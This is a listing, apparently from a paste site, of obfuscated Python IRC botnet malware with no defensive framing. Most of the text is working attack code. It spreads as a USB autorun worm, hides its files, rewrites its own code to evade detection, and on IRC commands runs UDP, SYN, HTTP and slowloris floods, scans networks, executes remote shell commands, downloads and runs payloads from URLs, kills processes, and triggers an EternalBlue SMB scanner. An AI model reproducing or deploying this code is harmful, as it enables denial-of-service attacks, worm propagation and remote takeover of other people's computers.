  590.             except:
  591.                 pass
  592.         self.oWLdHNqx.send("PRIVMSG %s :Made %s connections.\n" % (self.ZoyaERuG,Packets))
  593.  
  594.     def DATSulcH(self,NQrbUKHk,wqwOsYys):
  595.         self.oWLdHNqx.send("PRIVMSG %s :Scanning range %s for port %s\n" % (self.ZoyaERuG,NQrbUKHk,wqwOsYys))
  596.         for bVfrYZOb in self.NYawcQJk(NQrbUKHk):
  597.             try:
  598.                 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  599.                 s.connect((bVfrYZOb,int(wqwOsYys))) #Make sure ksTdhuPd is up and port is open.
  600.                 s.close()
  601.                 self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,bVfrYZOb))
  602.             except:
  603.                 pass
  604.         self.oWLdHNqx.send("PRIVMSG %s :Finished scanning range %s\n" % (self.ZoyaERuG,NQrbUKHk))
  605.  
  606.     def DKjxyXtL(self):
  607. #USB Spread
  608.         for iYGvSVSV in xrange(3,13):
  609.             try:
  610.                 kXiTsmAM=open("%s:\\autorun.inf" % letters[iYGvSVSV],"w")
  611.                 kXiTsmAM.write("[autorun]\nlabel=View Files\nopen=open.exe\naction=Open Folder to View Files\n")
  612.                 kXiTsmAM.close()
  613.                 os.popen("COPY %s %s:\\open.exe" % (self.wwoHYcGX(),letters[iYGvSVSV]))
  614.                 os.popen("ATTRIB +H +S %s:\\autorun.inf" % letters[iYGvSVSV])
  615.                 os.popen("ATTRIB +H +S %s:\\open.exe" % letters[iYGvSVSV])
  616.                 self.oWLdHNqx.send("PRIVMSG %s :Infected drive %s:\\\n" % (self.ZoyaERuG,letters[iYGvSVSV]))
  617.             except:
  618.                 pass
  619.     def krZuqOoS(self):
  620.         NeZktZqq=""
  621.         self.oWLdHNqx=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  622.         self.oWLdHNqx.connect((self.lwADeiuo, self.djHsNKTC))
  623.         self.oWLdHNqx.send("NICK %s\n" % self.cvECZTOr)
  624.         self.oWLdHNqx.send("USER %s %s bla :%s\n" % (self.eLdpmooV, self.lwADeiuo, self.LdkDvEjz))
  625.         self.oWLdHNqx.send("JOIN %s %s\n" % (self.ZoyaERuG,self.IhfIsqFG))
  626.         self.DKjxyXtL()
  627.         while 1:
  628.             NeZktZqq=NeZktZqq+self.oWLdHNqx.recv(1024)
  629.             BuHzRnte=split(NeZktZqq, "\n")
  630.             NeZktZqq=BuHzRnte.pop( )
  631.             for self.txMeqlni in BuHzRnte:
  632.                 self.txMeqlni=rstrip(self.txMeqlni)
  633.                 self.txMeqlni=split(self.txMeqlni)
  634.                 if(self.txMeqlni[0]=="PING"):
  635.                     self.oWLdHNqx.send("PONG %s\n" % self.txMeqlni[1])
  636.                     self.WEDZgaKC() #Persistence
  637.                     self.DKjxyXtL() #USB Autorun Worm
  638.             try:
  639.                 if self.txMeqlni[3]==":ddos.udpfood":
  640.                     if self.txMeqlni[5] == "0":
  641.                         Porty = "RAND"
  642.                     else:
  643.                         Porty = self.txMeqlni[5]
  644.                     self.oWLdHNqx.send("PRIVMSG %s :Starting UDP flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],Porty))
  645.                     threading.Thread(target=self.UDPFood, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],self.txMeqlni[7],)).start()
  646.                 elif self.txMeqlni[3]==":ddos.synflood":
  647.                     self.oWLdHNqx.send("PRIVMSG %s :Starting SYN flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],self.txMeqlni[5]))
  648.                     threading.Thread(target=self.trbOkDUX, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],)).start()
  649.                 elif self.txMeqlni[3]==":ddos.httpflood":
  650.                     self.oWLdHNqx.send("PRIVMSG %s :Starting HTTP flood on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4]))
  651.                     threading.Thread(target=self.HTTPFlood, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],)).start()
  652.                 elif self.txMeqlni[3]==":ddos.slowloris":
  653.                     self.oWLdHNqx.send("PRIVMSG %s :Starting slowloris on %s:%s\n" % (self.ZoyaERuG,self.txMeqlni[4],self.txMeqlni[5]))
  654.                     threading.Thread(target=self.Slowloris, args=(self.txMeqlni[4],self.txMeqlni[5],self.txMeqlni[6],self.txMeqlni[7],)).start()
  655.                 elif self.txMeqlni[3]==":bot.scannetrange":
  656.                     threading.Thread(target=self.DATSulcH, args=(self.txMeqlni[4],self.txMeqlni[5],)).start()
  657.                 elif self.txMeqlni[3]==":bot.shell":
  658.                     try:
  659.                             fjuThODd = subprocess.Popen(self.txMeqlni[4:],stdout=subprocess.PIPE)
  660.                             for VWSgiNKV in iter(fjuThODd.stdout.readline,''):
  661.                                     self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,VWSgiNKV))
  662.                     except:
  663.                             self.oWLdHNqx.send("PRIVMSG %s :Failed to execute command.\n" % self.ZoyaERuG)
  664.                 elif self.txMeqlni[3]==":bot.repack":
  665.                     self.dFcQEbBo()
  666.                 elif self.txMeqlni[3]==":http.download":
  667.                     try:
  668.                         urllib.urlretrieve(self.txMeqlni[4],self.txMeqlni[5])
  669.                         self.oWLdHNqx.send("PRIVMSG %s :Downloaded.\n" % (self.ZoyaERuG))
  670.                     except:
  671.                         self.oWLdHNqx.send("PRIVMSG %s :Could not download!\n" % (self.ZoyaERuG))
  672.                 elif self.txMeqlni[3]==":http.execute":
  673.                     try:
  674.                         urllib.urlretrieve(self.txMeqlni[4],self.txMeqlni[5])
  675.                         subprocess.Popen([("%s" % self.txMeqlni[5])])
  676.                         self.oWLdHNqx.send("PRIVMSG %s :Downloaded and executed.\n" % (self.ZoyaERuG))
  677.                     except:
  678.                         self.oWLdHNqx.send("PRIVMSG %s :Could not download or execute!\n" % (self.ZoyaERuG))
  679.                 elif self.txMeqlni[3]==":bot.killme":
  680.                     self.oWLdHNqx.send("PRIVMSG %s :Goodbye!\n" % (self.ZoyaERuG))
  681.                     os.popen("taskkill /f /im " + str(os.getpid())) #windows kill
  682.                     os.popen("kill -9 " + str(os.getpid())) #linux kill
  683.                 elif self.txMeqlni[3]==":bot.move":
  684.                     self.lwADeiuo=self.txMeqlni[4] #Server
  685.                     self.ZoyaERuG=self.txMeqlni[5] #Channel
  686.                     self.IhfIsqFG=self.txMeqlni[6] #Channel key
  687.                     while 1:
  688.                         try:
  689.                             self.WEDZgaKC()
  690.                         except:
  691.                             pass
  692.                 elif self.txMeqlni[3]==":bot.killbyname":
  693.                     self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("taskkill /f /im %s" % self.txMeqlni[4])))
  694.                     self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("killall -9 %s" % self.txMeqlni[4])))
  695.                 elif self.txMeqlni[3]==":bot.killbypid":
  696.                     self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("taskkill /f /pid %s" % self.txMeqlni[4])))
  697.                     self.oWLdHNqx.send("PRIVMSG %s :%s\n" % (self.ZoyaERuG,os.popen("kill -9 %s" % self.txMeqlni[4])))
  698.                 elif self.txMeqlni[3]==":bot.restart":
  699.                     self.oWLdHNqx.send("PRIVMSG %s :Restarting!\n" % (self.ZoyaERuG))
  700.                     os.popen("SHUTDOWN /R /T 00") #windows restart
  701.                     os.popen("reboot") #linux restart
  702.                 elif self.txMeqlni[3]==":bot.shutdown":
  703.                     self.oWLdHNqx.send("PRIVMSG %s :Shutting down!\n" % (self.ZoyaERuG))
  704.                     os.popen("SHUTDOWN /S /T 00")
  705.                 elif self.txMeqlni[3]==":bot.eternalblue-smb":
  706.                     for i in range(0,32):
  707.                         threading.Thread(target=Scanner, args=(self.txMeqlni[4])).start()
  708.             except IndexError or TypeError:
  709.                 pass
  710.  
  711.     def Slowloris(self, Target, attackPort, sockets, attackTime):
  712.         endtime = time.time()+int(attackTime)
  713.         Packets = 0
  714.         fds = []
  715.         for iteration in xrange(0, int(sockets)):
  716.             fds.append("")
  717.         while 1:
  718.             for iteration in xrange(0, int(sockets)):
  719.                 fds[iteration] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  720.                 try:
  721.                     fds[iteration].connect((Target, int(attackPort)))
  722.                 except:
  723.                     pass
  724.             httppacket = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (Target, attackPort, choice(self.useragents))
  725.             for byte in httppacket:
  726.                 for fd in fds:
  727.                     try:
  728.                         fd.send(byte)
  729.                         Packets+=1
  730.                     except:
  731.                         try:
  732.                             fd.connect((Target, int(attackPort)))
  733.                         except:
  734.                             pass
  735.                 if endtime<time.time():
  736.                     self.oWLdHNqx.send("PRIVMSG %s :Made %s connections!\n" % (self.ZoyaERuG, Packets))
  737.                     for fd in fds:
  738.                         try:
  739.                             fd.close()
  740.                         except:
  741.                             pass
  742.                     return
  743.                 time.sleep(1)
  744.                 Packets = 0
  745.  
  746.     def HTTPFlood(self, Target, attackPort, attackTime):
  747.         endtime = time.time()+int(attackTime)
  748.         Packets = 0
  749.         while endtime>time.time():
  750.             try:
  751.                 httpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  752.                 httpsock.connect((Target, int(attackPort)))
  753.                 httppacket = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (Target, attackPort, choice(self.useragents))
  754.                 httpsock.send(httppacket)
  755.                 httpsock.close()
  756.                 Packets += 1
  757.             except:
  758.                 pass
  759.         self.oWLdHNqx.send("PRIVMSG %s :Sent %s requests averaging at %d requests per second.\n" % (self.ZoyaERuG, Packets, (Packets/int(attackTime))))
  760.  
  761.     def UDPFood(self, Target, attackPort, packetSize, attackTime): #Yes, I knoe it says udpfood. its a joke. sleep is quite nessasary right now
  762. #UDP flood
  763.         Packets = 0
  764.         if attackPort == "0":
  765.             packet=os.urandom(int(packetSize))
  766.         else:
  767.             packet="\xff"*int(packetSize)
  768.         endtime = time.time()+int(attackTime)
  769.         while endtime>time.time():
  770.             try:
  771.                 udpsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  772.                 if attackPort=="0":
  773.                     udpsock.sendto(packet,(Target, randrange(1,65535)))
  774.                 else:
  775.                     udpsock.sendto(packet,(Target, int(attackPort)))
  776.                 Packets+=1
  777.             except:
  778.                 pass
  779.         udpmb=(Packets*int(packetSize))/1048576
  780.         udpmbs=udpmb/int(attackTime)
  781.         self.oWLdHNqx.send("PRIVMSG %s :%s packets sent, %s packets/s Sent %s MB, %s MB/s\n" % (self.ZoyaERuG, Packets,(Packets/int(attackTime)),udpmb,udpmbs))
  782.  
  783.     def dFcQEbBo(self):
  784. #polymorph
  785.         if self.wwoHYcGX().endswith("exe"):
  786.             self.oWLdHNqx.send("PRIVMSG %s :Not repacking compiled EXE!\n" % (self.ZoyaERuG))
  787.             pass
  788.         else:
  789.             kXiTsmAM=open(argv[0],"r")
  790.             SkPfqvVb=kXiTsmAM.read()
  791.             kXiTsmAM.close()
  792.             tPRXIETg=['Scanner','shellcode','exploit','LdkDvEjz', 'squdbhNF', 'squdbhNF', 'pJRtMXnr', 'krZuqOoS', 'djHsNKTC', 'MTCLjCqS', 'wwoHYcGX', 'WEDZgaKC', 'ZyUfnKmY', 'lzvJGQhK', 'uVcgrMdB', 'eLdpmooV', 'lwADeiuo', 'ksTdhuPd', 'qHXlKBTz', 'ZoyaERuG', 'nNCRXcyX', 'cvECZTOr', 'tPRXIETg', 'qoSYrsXg', 'kXiTsmAM', 'cOCaBrUO', 'UvSLWvAL', 'dFcQEbBo', 'trbOkDUX', 'upKurXmE', 'oWLdHNqx', 'mbaHoFcq', 'wqwOsYys', 'mbaHoFcq', 'pJfokfFb', 'HTdNRlTI', 'BuHzRnte', 'IhfIsqFG', 'SkPfqvVb', 'NeZktZqq', 'PDZDyIcr', 'cXVlBQPo', 'SQrrWUOl', 'iYGvSVSV', 'NqTdiWqy', 'AFrYBRhx', 'vfEjUri', 'NYawcQJk', 'rjsmgsgB', 'TQoQoTBw', 'YqvrmAfa', 'kQUqgxxv', 'aZhKIvaK', 'VOUZIdZn', 'nATvCwXH', 'bVfrYZOb', 'utfvVkYv', 'DATSulcH', 'NQrbUKHk', 'aQvbntXQ', 'txMeqlni', 'fjuThODd', 'DKjxyXtL', 'VWSgiNKV', 'GukfgoOr', 'uLRsefIV', 'llemeLCF', 'zTzQlGDR', 'FgBgausc', 'fWAffhSo', 'evqaobDM', 'JMSdYsiE', 'JtoyJZkp', 'SZwEyAvn', 'bXivjwVX', 'UQGWeDdr', 'FgBgausc', 'CyKuZgmu', 'Slowloris', 'HTTPFlood', 'UDPFood', 'attackPort', 'Target', 'endtime', 'fds', 'fd', 'Packets', 'attackPort', 'attackTime', 'udpmbs', 'udpmb', 'udpsock', 'Porty', 'Antis', 'Anti', 'Result', 'iteration', 'byte', 'httppacket', 'packetSize', 'useragents']
  793.             for qoSYrsXg in tPRXIETg:
  794.                 SkPfqvVb=SkPfqvVb.replace(qoSYrsXg,self.squdbhNF(randrange(5,8)))
  795.             cOCaBrUO=open(argv[0],"w")
  796.             cOCaBrUO.write(SkPfqvVb)
  797.             cOCaBrUO.close()
  798.             self.oWLdHNqx.send("PRIVMSG %s :Repacked code!\n" % (self.ZoyaERuG))
  799.  
  800. while 1:
  801.     try:
  802.         pJRtMXnr()
  803.     except:
  804.         time.sleep(30)
Add Comment
Please, Sign In to add comment